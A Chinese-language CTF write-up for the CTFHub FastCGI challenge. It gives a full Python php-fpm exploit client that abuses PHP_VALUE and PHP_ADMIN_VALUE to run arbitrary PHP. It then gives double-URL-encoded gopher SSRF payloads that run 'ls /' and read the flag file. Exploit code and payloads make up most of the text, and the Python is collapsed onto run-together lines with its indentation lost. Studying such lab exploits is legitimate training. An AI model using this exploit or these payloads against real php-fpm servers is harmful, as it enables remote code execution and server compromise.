ctfhub-fastcgi协议

ctfhub-fastcgi协议
这道题是关于fastcgi协议的东西，具体的fastcgi的东西就不介绍了，附件有，网上也有很多师傅写了的，我这里就直接说下题的思路

fastcgi是向php-fpm发送报文的，而由于php-fpm的默认端口是9000，所以我们用nc去监听下9000端口

nc -lvvp 9000>yy.txt

使用大师傅的exp去打就行：

import socket
import random
import argparse
import sys
from io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i])def bord(c):if isinstance(c, int):return celse:return ord(c)def force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict')def force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return sclass FastCGIClient:"""A Fast-CGI Client for Python"""# private__FCGI_VERSION = 1__FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3__FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11__FCGI_HEADER_SIZE = 8# request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict()def __connect(self):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(self.timeout)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# if self.keepalive:#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)# else:#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)try:self.sock.connect((self.host, int(self.port)))except socket.error as msg:self.sock.close()self.sock = Noneprint(repr(msg))return Falsereturn Truedef __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \+ bchr(fcgi_type) \+ bchr((requestid >> 8) & 0xFF) \+ bchr(requestid & 0xFF) \+ bchr((length >> 8) & 0xFF) \+ bchr(length & 0xFF) \+ bchr(0) \+ bchr(0) \+ contentreturn bufdef __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \+ bchr((nLen >> 16) & 0xFF) \+ bchr((nLen >> 8) & 0xFF) \+ bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \+ bchr((vLen >> 16) & 0xFF) \+ bchr((vLen >> 8) & 0xFF) \+ bchr(vLen & 0xFF)return record + name + valuedef __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return headerdef __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return recorddef request(self, nameValuePairs={}, post=''):if not self.__connect():print('connect failure! please check your fasctcgi-server !!')returnrequestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \+ bchr(self.keepalive) \+ bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value)if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)self.sock.send(request)self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SENDself.requests[requestId]['response'] = b''return self.__waitForResponse(requestId)def __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += bufdata = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response']def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')parser.add_argument('host', help='Target host, such as 127.0.0.1')parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)args = parser.parse_args()client = FastCGIClient(args.host, args.port, 3, 0)params = dict()documentRoot = "/"uri = args.filecontent = args.codeparams = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '9985','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}response = client.request(params, content)

使用方式是：
python fpm.py -c “php代码” -p 9000 ip地址任意php文件路径

python fpm.py -c "<?php var_dump(system('ls /'));?>" -p 9000 0.0.0.0 /usr/local/lib/php/PEAR.php

接着打开监听到的文件：

但这种数据并不能够直接用，我们要用的是hex的编码，但在hexdump下是位置低的显示在前，所以我们得将其转换位置为：

hexdump -C yy.txt>1.txt

接着去掉多于的数据，保留中间的数字进行两次url编码，（要去掉空格以及换行符）即可：

payload=%2501%2501%25f4%255e%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%25f4%255e%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2533%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%25f4%255e%2500%2500%2500%2500%2501%2505%25f4%255e%2500%2521%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2579%2573%2574%2565%256d%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%25f4%255e%2500%2500%2500%2500

用gopher协议去请求：
gopher://127.0.0.1:9000/_payload

然后cat flag_1951f8104d94d2c2082aea8d92253481即可：

python fpm.py -c "<?php var_dump(system('cat /flag_1951f8104d94d2c2082aea8d92253481'));?>" -p 9000 0.0.0.0 /usr/local/lib/php/PEAR.php

步骤同上面一样：
得到的二次url编码为：

%2501%2501%2507%25e1%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2507%25e1%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2537%2531%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2507%25e1%2500%2500%2500%2500%2501%2505%2507%25e1%2500%2547%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2579%2573%2574%2565%256d%2528%2527%2563%2561%2574%2520%252f%2566%256c%2561%2567%255f%2531%2539%2535%2531%2566%2538%2531%2530%2534%2564%2539%2534%2564%2532%2563%2532%2530%2538%2532%2561%2565%2561%2538%2564%2539%2532%2532%2535%2533%2534%2538%2531%2527%2529%2529%253b%253f%253e%2501%2505%2507%25e1%2500%2500%2500%2500

gopher请求即可：

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